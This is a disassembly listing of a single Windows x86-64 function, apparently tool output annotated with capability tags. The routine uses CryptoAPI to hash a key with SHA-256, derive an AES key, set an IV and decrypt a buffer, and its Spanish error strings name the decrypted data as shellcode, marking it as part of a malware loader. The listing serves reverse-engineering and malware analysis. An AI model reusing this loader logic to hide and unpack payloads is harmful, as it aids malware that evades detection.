Function at 0x140016480
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov rsi, rcx
mov r12, rdx
mov rbx, r8
mov rbp, r9
test r8, r8
js 0x140016a1e
pxor xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
je 0x140016640
mov rcx, r8
call fcn.1400b3c50
lea r13, [rax + rbx]
mov qword [rsp + 0x50], rax
lea rdi, [rax + 1]
mov qword [rsp + 0x60], r13
mov byte [rax], 0
cmp rbx, 1
jne 0x140016628
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x38]
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x34], ebx
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x140016598
mov rbx, qword [0x1400bfe00]
mov r8d, 0x38
lea rdx, str.Error:_No_se_pudo_adquirir_el_contexto_de_criptografa.
mov rcx, rbx
call fcn.1400ae910
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rdi, qword [rax + rbx + 0xf0]
test rdi, rdi
je 0x140016a2a
cmp byte [rdi + 0x38], 0
je 0x140016710
movsx edx, byte [rdi + 0x43]
mov rcx, rbx
call fcn.1400709b0
mov rcx, rax
call fcn.140070b90
mov rbp, qword [rsp + 0x50]
pxor xmm0, xmm0
mov qword [rsi + 0x10], 0
movups xmmword [rsi], xmm0
test rbp, rbp
je 0x140016581
mov rdx, qword [rsp + 0x60]
mov rcx, rbp
sub rdx, rbp
call fcn.1400b3c10
mov rax, rsi
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x140016660
mov rbx, qword [0x1400bfe00]
mov r8d, 0x20
lea rdx, str.Error:_No_se_pudo_crear_el_hash.
mov rcx, rbx
call fcn.1400ae910
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rdi, qword [rax + rbx + 0xf0]
test rdi, rdi
je 0x140016a2f
cmp byte [rdi + 0x38], 0
je 0x140016788
movsx edx, byte [rdi + 0x43]
mov rcx, rbx
call fcn.1400709b0
mov rcx, rax
call fcn.140070b90
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x140016558
mov rcx, rdi
lea r8, [rbx - 1]
xor edx, edx
mov rdi, r13
call sub.msvcrt.dll_memset
jmp 0x1400164d7
mov qword [rsp + 0x50], 0
xor edi, edi
mov qword [rsp + 0x60], 0
jmp 0x1400164d7
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov r8d, 0x10
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140016748
lea rax, [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov r9d, 1
mov qword [rsp + 0x20], rax
mov edx, 0x660e
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1400167f8
mov rbx, qword [0x1400bfe00]
mov r8d, 0x27
lea rdx, str.Error:_No_se_pudo_derivar_la_clave_AES.
mov rcx, rbx
call fcn.1400ae910
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rdi, qword [rax + rbx + 0xf0]
test rdi, rdi
je 0x140016a3e
cmp byte [rdi + 0x38], 0
je 0x1400167c0
movsx edx, byte [rdi + 0x43]
mov rcx, rbx
call fcn.1400709b0
mov rcx, rax
call fcn.140070b90
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x140016612
mov rcx, rdi
call fcn.140022b30
mov rax, qword [rdi]
lea rcx, [0x140023320]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140016548
mov rcx, rdi
call rax
movsx edx, al
jmp 0x140016548
mov rbx, qword [0x1400bfe00]
mov r8d, 0x23
lea rdx, str.Error:_No_se_pudo_hashear_la_clave.
mov rcx, rbx
call fcn.1400ae910
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rdi, qword [rax + rbx + 0xf0]
test rdi, rdi
jne 0x1400166e0
call fcn.1400b4b60
nop dword [rax]
mov rcx, rdi
call fcn.140022b30
mov rax, qword [rdi]
lea rcx, [0x140023320]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140016602
mov rcx, rdi
call rax
movsx edx, al
jmp 0x140016602
mov rcx, rdi
call fcn.140022b30
mov rax, qword [rdi]
lea rcx, [0x140023320]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x1400166ee
mov rcx, rdi
call rax
movsx edx, al
jmp 0x1400166ee
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov r8, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x1400168e8
mov rbp, qword [rsp + 0x50]
mov r8, rbx
mov rdx, r12
mov rcx, rbp
call sub.msvcrt.dll_memcpy
lea rax, [rsp + 0x34]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
mov r8d, 1
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x140016950
mov rbx, qword [0x1400bfe00]
mov r8d, 0x2c
lea rdx, str.Error:_No_se_pudo_desencriptar_el_shellcode.
mov rcx, rbx
call fcn.1400ae910
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rdi, qword [rax + rbx + 0xf0]
test rdi, rdi
je 0x140016a34
cmp byte [rdi + 0x38], 0
je 0x1400169d1
movsx edx, byte [rdi + 0x43]
mov rcx, rbx
call fcn.1400709b0
mov rcx, rax
call fcn.140070b90
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pxor xmm0, xmm0
mov qword [rsi + 0x10], 0
movups xmmword [rsi], xmm0
jmp 0x140016571
mov rbx, qword [0x1400bfe00]
mov r8d, 0x23
lea rdx, str.Error:_No_se_pudo_establecer_el_IV.
mov rcx, rbx
call fcn.1400ae910
mov rax, qword [rbx]
mov rax, qword [rax - 0x18]
mov rdi, qword [rax + rbx + 0xf0]
test rdi, rdi
je 0x140016a39
cmp byte [rdi + 0x38], 0
je 0x1400169a0
movsx edx, byte [rdi + 0x43]
mov rcx, rbx
call fcn.1400709b0
mov rcx, rax
call fcn.140070b90
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
jmp 0x140016612
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rax, rdi
mov edx, dword [rsp + 0x34]
sub rax, rbp
cmp rax, rdx
jb 0x140016a02
lea rcx, [rbp + rdx]
cmp rdx, rax
cmovb rdi, rcx
mov rax, qword [rsp + 0x60]
mov qword [rsi], rbp
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rax
jmp 0x140016581
mov rcx, rdi
call fcn.140022b30
mov rax, qword [rdi]
lea rcx, [0x140023320]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140016926
mov rcx, rdi
call rax
movsx edx, al
jmp 0x140016926
mov rcx, rdi
call fcn.140022b30
mov rax, qword [rdi]
lea rcx, [0x140023320]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x1400168a8
mov rcx, rdi
call rax
movsx edx, al
jmp 0x1400168a8
sub rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14009ce20
mov rbp, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
jmp 0x140016987
lea rcx, str.cannot_create_std::vector_larger_than_max_size__
call fcn.1400b4cd0
call fcn.1400b4b60
call fcn.1400b4b60
call fcn.1400b4b60
call fcn.1400b4b60
call fcn.1400b4b60
mov rbx, rax
lea rcx, [rsp + 0x50]
call fcn.14009cfb0
mov rcx, rbx
call fcn.14000c880
nop
nop
nop
nop
nop
nop
nop
nop
ret